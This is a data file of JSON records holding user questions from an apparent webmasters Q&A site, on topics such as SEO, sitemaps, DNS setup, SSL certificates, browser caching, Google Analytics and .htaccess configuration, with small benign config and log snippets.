{"id":"49819","title":"How to increase the number of indexed images from submitted image sitemap?","text":"I had added images in my sitemap a week ago, but the number of images indexed in the Google Webmaster Tools has not displayed any tendency to increase. The number of images submitted is about 200,000 but the number of images indexed keeps floating around 10,000. I hosted my images on AWS S3, and I used different URL `.s3.amazonaws.com` instead of my domain, but I provide a `robots.txt` file in the root directory of the bucket (per this instruction). In the sitemap XML the images are grouped in each content page `<loc>`, but the images filenames doesn't give any relevant information about the content of the page. They are just a bunch of random numbers. Is there any way I can do to increase the number of indexed images in the Google Webmaster Tools?"}
{"id":"56027","title":"Duplicate content for geographic listings?","text":"Our company provides listings (in the manner of a directory) for companies by geographic location (country, state, city, etc.). It's a great user experience to be able to click on each link below to see all companies registered in for example United States, Texas and Dallas: www.example.com\/United-States www.example.com\/United-States\/Texas www.example.com\/United-States\/Texas\/Dallas What do Google think about this? Will I get punished for duplicate content, since all companies in for example Dallas also will show for the state of Texas and for country United States? I know I could add canonical links, but I would prefer if all 3 examples above (and all my other countries, states, cities) were listed on Google. Maybe that's a risk? Maybe there is another solution? Maybe I also should mention that each list above shows company name and a short company description and when you click on the company you will find the full details."}
{"id":"61609","title":"Using the HTML input \"name\" attribute and SEO","text":"From an SEO point-of-view, which version is better: `<input type=\"text\" name=\"q\" value=\"search\" \/>` or `<input type=\"text\" name=\"query\" value=\"search\" \/>` Here's another example: `<input type=\"text\" name=\"e\" value=\"email\" \/>` or `<input type=\"text\" name=\"email\" value=\"email\" \/>` In other words: Does Google use the HTML input `name` attribute?"}
{"id":"57315","title":"GitHub Pages doesn't show Octopress","text":"I have a public GitHub repository for my new Octopress Blog. I just wanted to test some things, so i created a GitHub Page, and linked my Domain to it. So the domain is now linked to my GitHub Page. It works fine, and i'm getting the 404 GitHub Error page. After that, i installed Octopress and pushed it to the Repository. But then... after more than 30 Minutes of waiting... nothing happens. Still the 404 error. I followed this Tutorial and finished it without any errors. Is it normal to wait so long for GitHub the first time? Or did i miss something?"}
{"id":"54279","title":"How do I stop Google indexing my main page as https","text":"Due to historic reasons, we have things set up so that `\"www.mydomain.com\"` redirects to `\"store.mydomain.com\".` This has worked perfectly fine until recently, when Google appears to be sending visitors to `\"https:\/\/ www.mydomain.com\"` which doesn't have an SSL- certificate (and never has). Strangely, its only the first link that goes to `\"https:\/\/ www.mydomain.com\"`, all other links point correctly to `\"http:\/\/ store.mydomain.com\".` Because there is no certificate on the **\"www\"** version, users are getting an error message. How do I make Google revert to pointing the main link at `\"http:\/\/ store.mydomain.com\"` (or even `\"http:\/\/ www.mydomain.com.\"`) If I remove `\"https:\/\/ www.mydomain.com\"` from Google webmaster tools, will this also remove the redirected page (`\"http:\/\/ store.mydomain.com`)? Thanks."}
{"id":"63385","title":"search with mobile : does Google just look in the mobile-optimized websites?","text":"When someone searches a keyword by mobile, does Google search in desktop version of all websites and find the proper result and **_then_** prioritize them according to the responsiveness or mobile-optimizing stuff etc **_OR_** it just search in the mobile version of the mobile-optimized websites ? I want to create a website with a responsive design, I was wondering that if I should care about SEO in mobile version of the website, or just try to optimize the desktop version for search engines and just care about the design of the mobile version ?"}
{"id":"42868","title":"How to use Python as a server language from a PHP perspective","text":"I only know server side programming with PHP. To me, I write something into `index.php` and call `http:\/\/localhost\/index.php` and see the results of the PHP script. I have been using CakePHP and understand that there is something you can do with URL rewriting, but in my mind, there is this one to one relation between URLs and PHP files on the server. Now I do a lot with Python, but just command line utilites. I'd like to use Python instead of PHP for my next project. So far, I was told about `mod_python`, that I have to use a framework like Pylons or Twisted or even Django to get any output at all. Others have said that I just have to `print()` a HTTP header and then the script would output like I am used with PHP. I would like to write something that basically only takes a directory listing and makes it pretty, so that I can access a bunch of PDF files from a mobile browser. I know how to do this with PHP, I know how to create a Python script that would generate the HTML. I just do not know how to execute that script when I open `http:\/\/localhost\/pdfcentral\/`. How would I have to configure my server? It runs on Ubuntu 10.04."}
{"id":"29957","title":"How to build a small personal-like community?","text":"The target is to create a community where mostly people will have their own \"vault\". Like an enhanced diary system. Public areas will exist for some common operations, but mostly a user will get into this system because he wants to operate on its data and add\/modify them. The \"data\" may be posts (blog? forum?) or it may be events that need to be tracked privately ... I want to start on this thought and see where i can get it? I have thought of the \"obvious\", that is to combine a CMS wit a forum (like Joomla with phpBB). Is there a product out there (preferably free) that does my job? Is it better to start building one of my own? _Update: Thank you all for the answers, i went with phpBB as a forum for a start and Joomla for the wrapping around the forum. RokBridge will serve as a user bridge between them in the future when i will need it. for now joomla has no users._"}
{"id":"47261","title":"Should I set the title attribute for content DIV's to explain what they contain?","text":"I have a number of DIV's that break up a page into logical elements for styles and positioning, etc. As part of optimizing my site for search engine spiders, should I include a title attribute within these DIV's? (Yes I have a title as part of the whole page, I'm curious on individual structual elements) Ex ... <div id=\"SearchOptions\" title=\"Search filters and options - Type in a name or pick a business and Click 'Search' to get started\" > .... <\/div> ..."}
{"id":"33024","title":"How to host a simple website using a domain name I own","text":"I'm familiar with hosting webapps when I'm doing \"the whole shebang\" of installing \/ configuring \/ setting up Apache\/Tomcat\/PostreSQL \/ \"coding\" the website myself using HTML \/ JSP \/ CSS etc. on dedicated servers I'm renting. But in the above case, I'm \"owning\" the entire stack: from the Debian GNU\/Linux dedicated servers to every single file that is served. Now I'd like to do something **much** simpler and I must admit I don't know what's involved at all. I'd like to host a simple website made of only a few static pages (no database, no nothing) and I'd like it to be accessible from \"example.com\". What needs to be technically done to have such a thing? How is the DNS supposed to be set up? Note that I do _not_ want to host this on one of my dedicated servers."}
{"id":"24077","title":"how to deal with URLs containing lot of spammy keywords?","text":"I'm writing a big index of documents and I'm dealing with URLs as example I will use the car industry: somesite.com\/manifacturer-mazda_model-miata_engine-1600cc_gas_color-red_hard- top-spider_[[A LOT MORE]].htm this url points to a generated content that can't be identified as a single resource (in practice, every keyword is a filter and the page result is generated by a database search) at Google's eyes an URL like this looks spammy or I can use this solution with freedom? using querystring instead of URL rewriting can fix risks? and, in this case, keywords will be considered as keyword for SERPs? thank you in advance, feel free to correct my English!"}
{"id":"24074","title":"an Open Source graphic software like fireworks","text":"Hi All and happy new year i'm wondering if there's any open source and free software to create designs, the way fireworks does, by allowing creation of slices (decoupes, HTML and images) thank you very much"}
{"id":"20973","title":"Is link building still a factor for getting rank in Google?","text":"Is link building still a major factor for good ranking in SERP’s of Google?"}
{"id":"68182","title":"Index page content identical to page 1 of a gallery-type website","text":"I have a gallery type website, e.g. a site that lists blog posts or pictures in a paginated manner. However, I have 2 pages that have identical content: 1. example.com\/index.html 2. example.com\/page\/1 Page 2, 3 and so on have different content naturally. However, for SEO purposes, what is the best way of telling Google that page 1 is identical to index.html? Should I 302 redirect `index.html` to `\/page\/1` so `index.html` is non- existent, so to say or should I put a `canonical` tag in `\/page\/1` (but not on `\/page\/2`) that points to `index.html`?"}
{"id":"26782","title":"Point domain to Amazon EC2 Server","text":"I just got a domain from a rather suspicious registrar and I want to point that domain to an EC2 instance from Amazon AWS. I already have an elastic IP ready and just need to point the domain to it. However my registrar asks me for my nameservers, (ns1.somedomain.com, etc), which I don't have, since Amazon is not your typical webhost. I've read on the amazon forums that you only need to create an A record, which I did, but my registrar forces me to put some values in the ns1 and ns2 fields, so am I doing something wrong? I'm not very familiar with DNS."}
{"id":"2967","title":"Microdata vs. Microformats","text":"Just like the title says: it seems to me that microdata has a few advantages over microformats, with the only drawback being a bit more verbose. Is this all the story? It seems that Google supports both equally; is there anything else which I should consider?"}
{"id":"44455","title":"Dynamic Content Editor","text":"I've asked this question around the net and still haven't found exactly what I'm looking for. Basically I have several sites that I run through a custom PHP framework. I'd like to add a way for users to content management but all I really want is a simple interface that lets users click and edit (similar to Concrete5). All they really need is.. well, pretty much what I'm writing this with. A way to format text. All of the links\/framework, that sort of thing are taken care of by me or automated through scripting. Is there a good foundation to build on? It seems a little unnecessary to re- build everything into a CMS like Wordpress or Concrete. I know exactly what's in my programming, I'd rather use it. I just want an easy way for clients to edit content."}
{"id":"29866","title":"Is the hybrid solution the best one for developing a web app?","text":"I need to build a web app that has to be \"universal\". By universal I mean that I need it to be available online and offline, and usable on mobile platform and pc's and mac. I need to store and retrieve the info and I want the app to be updated when its online. Since I need to port the info to a SQL database I thought about building an CMS that would build the app for each client using the SQL database. That app would run with a Nosql Db in the background that would return the data to the master (couchdb) and then I would take that info and parse it to store it in the SQL Database ... I thought using the couchdb engine would be the best solution because I need the data to be available online and offline. The question now ... * First is it a good idea? * Any other suggestions I could build on?(can be anything) * Is the hybrid solution a good idea? * What offline storage easily replicable I could use for a web app ( easy to install at the client facilities?)"}
{"id":"63275","title":"Using <strong> for introductory paragraph to a post - a bad idea?","text":"I have a news website and on most posts the first paragraph is in bold. Currently the authors are just using `<strong>` to bold the paragraph, would it be better from an SEO point of view to rather use a paragraph class that is styled with `p.bold {font-weight:bold;}` `<p class=\"bold\">`. Does `<strong>` on the first paragraph send the wrong message to search engines? The text is important but the main reason it is in bold is because it is the opening paragraph. I realise `<strong>` is used to emphasise certain words on a page"}
{"id":"764","title":"Can you recommend ways to manage code deployment to a Linux based web server?","text":"I've always used a very simple bash script to deploy code. I'm moving away from using subversion to Mercurial but I don't really think the revision control software matters for deployment. What are some betters ways to do this? #!\/bin\/sh date=`date +%Y%m%d_%H%M%S` tar -zcvf app-dir-$date.tar.gz app\/dir tar -zcvf app-templates-$date.tar.gz app\/templates tar -zcvf app-media-$date.tar.gz app\/media svn export http:\/\/example.com\/somepath\/trunk hh\/ --force"}
{"id":"54292","title":"Why Alexa has two rankings for my website?","text":"I have a website that has two different Alexa rankings as follows: 1) The public ranking on Alexa siteinfo page of the website, that is the usual ranking page and it indicates a rank of **318,254** which they claim it is updated daily. 2) Another public and daily ranking of the same website but it is viewable using either the freely available list for **Top 1,000,000 Sites** in this page at the almost top right **or** using StatsCrop website and this ranking indicates a rank of **253,753**. Which one is more accurate? Why different daily rankings?"}
{"id":"47848","title":"Is Smush it a reliabe service?","text":"Smush it is an online compression tool for images provided by Yahoo. However, despite being maintained by a big company, it is often very slow and even offline. In their FAQ there is a question about API: > **Is there a Smush.it API I can access so that my images are automatically > smushed when they are published?** > > The API currently is not available for public use. We are working towards > making this publicly accessible. If I recall correctly, this is the same answer I read about 2 years ago and no API has been released since then. My question is: Is a good idea to rely on this service to compress images on fly? **Edit** - You guys must be trippin or something. Smush it is simple tool provided by Yahoo that can be used by **webmasters** to compress images on their sites. If a question about this does not fit on **Pro Webmasters** , where else would it fit? `<\/rant>`"}
{"id":"68983","title":"Find all <forms> used on a site","text":"Is there e.g. a crawler that can find (and list the form action etc.) all pages that have forms in my site?"}
{"id":"68980","title":"Url is different","text":"I have a website name somyatrans.com. when i searched in google with the site: operator it shows different url. For example:- I have searched in google like this site:somyatrans.com I found this url **www.somyatrans.com\/? &mobondhandle=system** which is not in this website. After that i have search my website with this site search operator appending my home page keywords for example 1:- **site:somyatrans.com certified language translation** search result was this **www.somyatrans.com\/?ref=driverlayer.com** I am surprised with this result, the result i was expecting www.somyatrans.com Unfortunately it is showing **www.somyatrans.com\/?ref=driverlayer.com** I can not understand is there any problem or not. There is another website has some different issue related to the domain name search using site operator and keywords ranking problem. for example:- **site:goforvisa.com** does not show my domain name in top as my website name is **goforvisa.com** Google search result shows different result in top instead of my domain name. **Result : #1- blog.goforvisa.com Result : #2- goforvisa.com** Is there any one who can help me why google shows like that my website result instead of my home page. Please some one help me out with this issue and let me know how can i solve this issue. Thanks in advance for your kind help or answer."}
{"id":"38694","title":"Multilingual sites and Google search results, using sub-folders for language","text":"About three months ago we added an English version of our, previously Japanese only, site under the subfolder \/en\/ we've tried to follow the sometimes incomplete best practices laid out by Google by adding alternate tags to all pages that are currently translated. The top page for instance has the following meta tags for language. <link rel=\"canonical\" href=\"\/\"> <link rel=\"alternate\" hreflang=\"ja\" href=\"\/\"> <link rel=\"alternate\" hreflang=\"en\" href=\"\/en\/\"> While the English main page under \/en\/ has <link rel=\"canonical\" href=\"\/en\/\"> <link rel=\"alternate\" hreflang=\"ja\" href=\"\/\"> <link rel=\"alternate\" hreflang=\"en\" href=\"\/en\/\"> Alternate languages are setup in the sitemap. (as per Google's recommendations) It seems however that Google absolutely refuses to show the English top page in results when the user is using English at google.com if you search you'll, as of this post, get the Japanese description and a title that Google has apparently invented instead of the title and description in the meta-tags for the \/en\/ index page. Does anyone have any experience with subfolders actually working to affect search results? What are the best practices for ensuring that the correct language version of my website is displayed through Google and other search engines? And how long will it take before the new language version becomes prominent in search engine results? NOTE: per GDav's suggestion I've removed the following tags for now as a test. <link rel=\"canonical\" href=\"\/\"> <link rel=\"canonical\" href=\"\/en\/\">"}
{"id":"5379","title":"404 page needs meta description (just to make Google happier)?","text":"I'm fixing some minor things on the 404 page for all my websites. My punctiliousness makes me unable to sleep well unless I get an answer to this question. :) **Does a 404 page need a meta description tag?** If yes filled with what, \"page not found\"? I would say no, if Google really cares more about contents and user frienly site rather than about what is on the page (moreover the 404 page snippet should never show up in Google cause server is sending real 404 code). But after reading all this stuff: * http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?hl=en&answer=93641 * http:\/\/googlewebmastercentral.blogspot.com\/2008\/08\/make-your-404-pages-more-useful.html * http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?hl=en&answer=136085 on how they suggest to fill up a 404 page (that I always thought should just be a simple 404 page) **I started to feel worried about meta description too**. I'm just looking for some clue\/suggestion I might not have thought about, or maybe just reassurance. :) Thanks"}
{"id":"68235","title":"What sort of phone numbers are allowed as the WHOIS contact?","text":"Are there any restrictions on the type of phone number I can give as my WHOIS contact? Notwithstanding that it is a phone number which can be used to contact the domain holder. For example, what if I change it to a premium rate line? If the scammers want to talk to me so much, make them pay for the privilege! In the UK, cell phones are more expensive for the caller to call than land- lines, so I suspect a significant number of people are already listing a \"premium rate\" phone number. EDIT: Many thanks to Chloe and Eduardo for their links to WHOIS privacy services, but I'm really interested in an answer to my question. The idea of someone using a premium rate phone number was to set the scene for the most extreme example of a phone number that defeats the purpose of having a phone number published in the first place."}
{"id":"68236","title":"Does Anyone Know how to Export the Drop off Rate for all the pages in Google Analytics?","text":"What i want is to be able to export the drop off rate information from user flow in GA. As you guys know, The only way to see this information is to actually click in each \"group\" within the user flow dashboard to see this information. Does anybody know if this information could be taken from Google Analytics API? Or if there is an alternative way to get\/export this information?"}
{"id":"1076","title":"CDN for authenticated sites","text":"We have a site that requires users to sign into. Typical stuff. Today, all the content (dynamic and static) is behind the login process, and you cannot access any of the pages or files via a URL unless you are logged in. This even applies for images, css, js, etc. This is a requirment, the content cannot be open to the world. We have been thinking of moving the static content off to a separate server for performance and scalability reasons, but are unsure how to do this, and still have these files secure and not open to the world. Basically, the authentication would need to be passed to the separate server (or CDN) and verified before we could serve it up. Perhaps this is not possible, and it is not a good case for separating static and dynamic content. We are running a Microsoft Stack - ASP.NET, IIS 6, but could go IIS 7-7.5."}
{"id":"1074","title":"Is it possible to share SSL certificates across servers?","text":"We have a web application we will be launching soonish and for right now we just have one SSL\/HTTPS certificate. We have this one certificate shared across 3 servers(in a cluster for load balancing) which we've been told is \"not the right way\"... So do you always have to buy N certificates for N servers or is there a special \"shared\" certificate or such? Why is it not right to share the certificate when these 3 servers are exactly the same hardware and software?"}
{"id":"65052","title":"HTTP meta refresh keeps looping in older browsers","text":"I added an HTTP meta refresh to my site like this: <meta http-equiv=\"refresh\" content=\"0;url=http:\/\/mysite.com\"> but it seems that the browser keeps looping (refreshing) in older Firefox browsers, while in the new version (30.0) it doesn't."}
{"id":"68574","title":".uk registration of existing .co.uk domain with a different registratr","text":"I currently have .co.uk with name.com who do not provide a .uk domain. Is there anyway I can register a .uk domain with a different provider for this domain?"}
{"id":"4337","title":"What are some methods to rewards users for participating on your site?","text":"This is not strictly programming related, so I apologize. But I think this fits within the scope of this site. We have a community site (part forum, part wiki, part knowledge base) where our users can participate in discussions, Q&As, etc. One of the things I would like to do is have some type of reward system where users feel like they are gaining something by participating. And something that gives them the incentive to come back. Stack Overflow has reputation and badges. Digg, Propeller and Reddit have their own systems whether that be points, karma or whatever. I am thinking something that has some RPG style elements but I can't think of any good examples. Does SO have any ideas that could be useful in this scenario?"}
{"id":"4334","title":"Best way to let users choose country\/language when submiting an URL to a directory","text":"I want to offer the user the possibility to add the country\/language for websites they would submit to a fairly simple website directory. I have a folder with flags from http:\/\/www.famfamfam.com\/lab\/icons\/flags\/ . The flag images are named according to the ISO 3166-1 alpha-2 country codes, meaning that I could make a PHP script that would be able to retrieve images and the name of the country retrieved from the image name (not the full name, but it wouldn't be necessary). Just to make things clearer, I couldn't find a proper combo-box jQuery plugin for my needs (that would act exactly like the native but with an icon before the text) and don't really have the time to develop one on my own. Considering the number of images, I also wouldn't just display them all with a radio box near them. Also, having a classic drop-down list would be a nightmare for me as I would have to assign the short country name manually to each entry, or do it once for every country. Offering the user a dropdown list with the short country names but no flag near them would also be unfriendly and confusing. The idea is that every website featured in the directory would have the country flag icon near it. I have the images named properly but I don't know how to let the user choose the right image for their website. Any idees? Thank you all in advance! **EDIT** Temporary solution is this file: http:\/\/www.andrewpatton.com\/countrylist.csv It contains a list of countries including various other info, like the short country name, the same name that's used for the flag images. I can take that information and have a classic like this: <select name=\"countries\"> <option value=\"ro\">Romania<\/option> <option value=\"ie\">Ireland<\/option> <!-- and so on --> <\/select> Still, If anybody has a better idea..."}
{"id":"3134","title":"SSL versus EV SSL","text":"As I understand it, SSL certificates verify the connection between the host and the browser, preventing MITM attacks. Is it true that EV SSL verifies the host itself, thus preventing (in theory) phishing attacks? Are there any other differences between EV SSL and regular SSL?"}
{"id":"54121","title":"Why doesn't Google specify that a search result is a paywall site or least demote their search rank?","text":"A rather suspect SEO paywall trick is to allow web spiders from search engines to see all content but lock the content behind a paywall for all other visitors. For example: * What Google sees * What you will see As this unfairly advantages dishonest websites over honest websites in search results, why doesn't Google either: 1. Mention that a website is behind a paywall; **or** 2. Demote the website's search ranking by some sizable margin? Given the skill of Google engineers, it would be trivial for Google to act as a normal visitor and check for selective paywalls."}
{"id":"54120","title":"Using Google Analytics tracking URLs in Facebook ads","text":"I generated the following Google Analytics tracking URL to use in a Facebook ad: > > https:\/\/www.somewebsite.org\/?utm_source=facebook&utm_medium=cpc&utm_term=schools&utm_content=newsfeed&utm_campaign=facebookad3 I know the ad is being clicked (Facebook ad manager data) but the referred traffic is not appearing in my site's Google Analytics data. I think it's because Facebook is doing some weird redirect URL modifying. Any ideas?"}
{"id":"18008","title":"Redirecting example.com to www.example.com in Go Daddy","text":"If I go to `http:\/\/www.example.com\/`, it's perfectly fine. If I go to `http:\/\/example.com\/`, then it redirects me to Go Daddy's site. I'm using Google App Engine to host my site, as it's free and pretty cool, and I've not bought the hosting option from Go Daddy. How exactly do I change it to have both the **example.com** and **www.example.com** versions go where they're supposed to?"}
{"id":"33806","title":"expired domains database","text":"Does anyone know of a reliable expired domains database that I download and query against, without needing to connect through an API? Also, something that has older data would be nice. If such a database does not exist, what data sources do you recommend to setup my own."}
{"id":"3133","title":"Rich snippets for small sites","text":"So far, I've seen rich snippets in Google search results only for large sites with a high number of elements (people, events, recipes, etc.). Does anyone know of an example where rich snippets are displayed for a small site with only a handful\/a few dozen elements? Our own site has around 10 events (we are a specialized conference organizer) with rich snippet markup but so far they aren't displayed. To avoid misunderstandings: I'm interested in hearing about all types, not just events. To clarify: We are using Google's rich snippet testing tool. Everything fine there."}
{"id":"14586","title":"HTTPS on my ASP.NET 2.0 application","text":"I have an application developed using asp.net 2.0 and the goal is to make the webpage secure by using the https protocol. I have searched all over the internet for some insight on how to accomplish this, and I have read about certificates, and so on, but couldn't quite figure this out yet. So my question is, how can I accomplish this? Explain this to me as if I didn't know anything about https. I am using IIS 6.0 and ASP.NET 2.0."}
{"id":"861","title":"How can I simulate a slow connection for page load?","text":"I have a fast server, and a reasonably fast home Internet connection. How can I simulate my page loading on a slow connection?"}
{"id":"38780","title":"Any tools to limit my bandwidth to 56k to test how long it takes to load my website?","text":"> **Possible Duplicate:** > How can I simulate a slow connection for page load? Which software or method could I use to limit my connection speed to 56k or other amounts, and load up a webpage I am hosting to see how long it would take to access for users with a slow connection?"}
{"id":"20200","title":"Can someone explain how FaceBook's cookie tracks you while logged out?","text":"This article claims that Facebook tracks what you do, even when you're logged off of Facebook, via cookies. Now, a cookie is just a text file... that is read\/written to while you're actually on that site, correct? If I'm on Google, how is Facebook writing to a cookie at that point? My site uses Fb login, so my users are asking me about how all these changes Fb has gone through recently affects their privacy, and they're linking me all these articles that sound false to me."}
{"id":"20203","title":"about Domain Age for main and sub-domains","text":"We are doing some SEO projects and I was just wondering wether the domain age for the main domain would always the same with its sub-domains? I have seen both yes and no answers in other forums, just want to be sure."}
{"id":"17856","title":"My old domain is getting more PR while new is at PR 0, Please help me understand this","text":"I am a web developer and I had a website for over 3 years, I mostly work local so no high traffic. Recently I started a blog on my website and around **2 months ago I got PageRank 1**. After that I bought a new .com domain and move site to new domain and forwarded all traffic to new domain via htaccess file. Fine. But **now my previous website had got PageRank of 2 but my new address still has PageRank of zero**. Help me to understand this."}
{"id":"68447","title":"Bingbot requests from Google IP address","text":"We have some suspicious requests to our server, 74.125.186.46 - - [24\/Aug\/2014:23:24:11 -0500] \"GET <url> HTTP\/1.1\" 200 16912 \"-\" \"Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)\" 74.125.187.193 - - [24\/Aug\/2014:23:24:12 -0500] \"GET <url> HTTP\/1.1\" 200 20119 \"-\" \"Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)\" As it shows, user-agent shows it is bingbot. But whois data of IP address(74.125.186.46 and 74.125.187.193) shows it is from google servers. So is it Google,Bing or any other content scrappers?"}
{"id":"38079","title":"How to measure the conversion rate of your Amazon affiliate program?","text":"I plan on selling products through the Amazon affiliate program. What I know I can track is: -what products people view on my website (default `Google Analytics` pageview behaviour). -what affiliate links people click on my website (with `GA` `_trackEvent`). What am I missing is: -what products people end up buying after clicking on the affiliate links. **Does the Amazon affiliate program offers you any mechanism for linking a purchase with some data from your website?** _I noticed that I was able to add custom parameters and values to my affiliate links and the link checker was still happy with them, if Amazon gave the links that initiated an order then I would be able to cross reference the orders using custom parameters..._"}
{"id":"67605","title":"Google is not picking up meta description approximately 50 percent of the time on our website","text":"We have a valid description meta tag on our website. We recently updated it. Temporarily we included a character (plus symbol) that may have been invalid. Since including this character, google would ignore the description meta tag and pick up some text from an overlay (semi transparent div with a message in the middle about data refresh) as the description. We then fixed the description by replacing the + with its html equivalent: `+` Since fixing this, google is showing the correct meta description, but only half of the time (approximately) We forced a re-index using google's webmaster tools for our site but the problem is still present 3 days later (google alternates randomly between showing the correct description, and the text in our overlay) Is there a way to force google not to use text from parts of a page if it can't use the meta description (or decides not to). Failing that, is google simply taking too long to fully recongise that we fixed the meta description?"}
{"id":"67601","title":"How do I know whether a URL returns an HTTP 404 status code?","text":"For any given URL, how can I (dis)confirm whether it returns an HTTP 404 status code? I found this tool but isn't there a cleaner, more natural way to find out, independently of other people's tools? For example, how do I know whether this broken link is a genuine 404 or not? I took a quick look at the source code but I saw nothing about a 404 status code. **Edit** I found what I was looking for in developer tools\/Google Chrome Console. The broken links turns out to be a 404 indeed: Thanks for pointing out!"}
{"id":"30918","title":"Turning my website into a non-profit","text":"I was given an established website about a year ago. It makes some money on ads, but not much (less than 10k\/year). I am no longer able to manage the site and am considering turning it over to another person. I don't want them to turn around and sell it. It was suggested that I establish a non-profit of sorts and transfer the assets to that entity. Does anybody have experience or advice on this subject?"}
{"id":"42169","title":"Should I block bots from my site and why?","text":"My logs are full of bot visitors, often from Eastern Europe and China. The bots are identified as Ahrefs, Seznam, LSSRocketCrawler, Yandex, Sogou and so on. Should I block these bots from my site and why? Which ones have a legitimate purpose in increasing traffic to my site? Many of them are SEO. I have to say I see _less_ traffic if anything since the bots have arrived in large numbers. It would not be too hard to block these since they all admit in their User Agent that they are bots."}
{"id":"31407","title":"Exclude a sub directory in a protected directory","text":"I need to exclude protection on one of the folder inside a protected directory with .htaccess I put .htaccess in here: \/home\/mysite\/public_html\/new\/administrator\/.htaccess The directory need to be exclude from protection: \/home\/mysite\/public_html\/new\/administrator\/components\/com_phocagallery\/ My .htaccess file : AuthUserFile \"\/home\/mysite\/.htpasswds\/public_html\/new\/administrator\/passwd\" AuthType Basic AuthName \"admin\" require valid-user SetEnvIf Request_URI \"(\/components\/com_phocagallery\/)$\" allow Order allow,deny Allow from env=allow Satisfy any I tried but not working on my purpose. I suspect my path to the excluded directory may have some mistakes."}
{"id":"51515","title":"Alternatives to using 3rd party Dynamic DNS","text":"I am looking to set up dynamic DNS in order to make accessing a home server easier. Is there any way I can get around using 3rd party site (like `dyndns.org`). Is there a way to set up dynamic dns myself or are there really good reasons for using those sites? A major concern of mine is the fact that I want to use my own domain name and that usually costs on these sites."}
{"id":"5766","title":"How is time spent on page measured?","text":"How do analytics applications (like StatCounter or GoogleAnalytics) measure time spent on page? Is that possible without JavaScript? I guess they reloading 1x1 web-bug or something after certain amount of time, am I right?"}
{"id":"23571","title":"How much significance does Google give to the presence of search terms in the domain name?","text":"When setting up a new website, how important is it to include keywords and potential search terms in the actual domain name? How heavily is this weighted when it comes to ranking highly on google searches?"}
{"id":"15186","title":"Opening up a static url when using Passenger WSGI with Django?","text":"I'm currently developing a site hosted on dreamhost, using django, which is served up through passenge wsgi. Right now, all requests are being passed to the django app. I'd like to be able to serve static content directly through apache, rather than having it go through the app. Is there a way to get passenger to realise that urls with a certain prefix are special, and should just go through to apache?"}
{"id":"43066","title":"Where may I receive some opinions about site designs?","text":"I´m working on a new design for my website. It´s almost finished. I would like some other people to look at the new design comparing it to the old one and just tell me if they like it more or less, or what opinions do they have about it. Where could I do that? I have an account at dribbble for some time now, but I´ve just recently added me as a prospect there, so, until I get \"selected\" I can´t post anything. Is there any other places where you think I could receive some opinions from other fellows? After reading the FAQ, I understand that I can´t do that here. Thanks! Rosamunda"}
{"id":"59060","title":"How to leverage browser cache using .htaccess on nginx?","text":"I'm trying to increase the pagespeed of our website ubercore.co. I'm using PageSpeed Insights for Chrome extension to analyze the pagespeed. It has suggested me to \"Leverage browser cache\". This is where I'm stuck. I've tried some modifications to .htaccess file like this: ## EXPIRES CACHING ## <IfModule mod_expires.c> ExpiresActive On ExpiresByType image\/jpg \"access 1 year\" ExpiresByType image\/jpeg \"access 1 year\" ExpiresByType image\/gif \"access 1 year\" ExpiresByType image\/png \"access 1 year\" ExpiresByType text\/css \"access 1 month\" ExpiresByType application\/pdf \"access 1 month\" ExpiresByType text\/x-javascript \"access 1 month\" ExpiresByType application\/x-shockwave-flash \"access 1 month\" ExpiresByType image\/x-icon \"access 1 year\" ExpiresDefault \"access 2 days\" <\/IfModule> ## EXPIRES CACHING ## and get nothing. Later did some research and found that .htaccess is only for Apache server. Correct me if I'm wrong. But, when I see the header response of our webpage found that the server is nginx. Then why my host has the .htaccess file in web root? I'm confused. What I need in short: How to cache static contents for this site? Useful links: Nginx wiki **Update 1:** Here is a screenshot of what I have, server is nginx:  My question is simple, **I need to cache all static content given the environment.** **Update 2:** As suggested by dan found that the server is indeed Apache not nginx. I don't really understand it but let it be it's off topic. Now my problem: Server software : **Apache\/2.4.7 (Unix)** Need : **.htaccess code to set browser cache expiry time.**"}
{"id":"27664","title":"IIS and content caching","text":"I'm a web developer and administer of a Windows 2008R2 Cloud Instance with IIS 7. I recently made an update to our website, but when I revisited the website, the website was being viewed with old stylings. I did a refresh (shift + reload button in Firefox) and of course the website displayed as it should. I didn't worry about it, until my client had the same issue in Safari. So, my question, in general, is, how do I prevent this from happening again, and yet still afford some caching of our site? I noticed we did not have content expiration set up on our webserver sites, so I've set that up, but did I really need to? I've also looked at Etags, and, honestly, it's hard for me to know whether or not I should use them or not. One comment I read somewhere there isn't really any issue with Etags scenarios in IIS (even in webfarms)... but, I dunno. Anybody have any suggestions, links, info? Thanks."}
{"id":"27662","title":"Can Adwords be cancelled by Google because of improper IE6 site rendering","text":"A client just got a notice from Google saying that their Adwords campaign has been put on hold because the site is: * Improperly rendering or * Under construction or * Needs a special program to run Now the site is improperly rendering on IE6. On everything else, including IE7+ it's fine. If this is the issue, would putting up a \"Looks like you're using an older browser\" message instead of the site for IE6 be a solution? Or must the site look good in IE6 for the Adwords campaign to continue?"}
{"id":"27663","title":"How to obtain a page's GUID in Composite C1 CMS?","text":"Question is pretty simple, I think. How can I find out what the page GUID for a certain page in my Composite C1 website is? I need it for RSS reading from a Blog within the CMS."}
{"id":"23713","title":"Can a sitemap index file point to sitemaps in another directory?","text":"I am creating multiple sitemaps for a site, and for the sake of organization I would like to put these sitemaps into their own directory (of course the sitemap.xml file will be in the root site directory). Is this possible? I've looked through the protocol and it doesn't address this issue. * * * **UPDATE** I did not clearly state my issue, which is this. If I have a sitemap index, can the sitemaps listed in the index be located in a subdirectory, such as `http:\/\/www.example.com\/sub1\/sub2\/sitemap2.xml`? Sitemap2.xml does not include paths that is only for \/sub2\/. Sitemap2.xml might contains links such as `http:\/\/www.example.com\/FooBar`."}
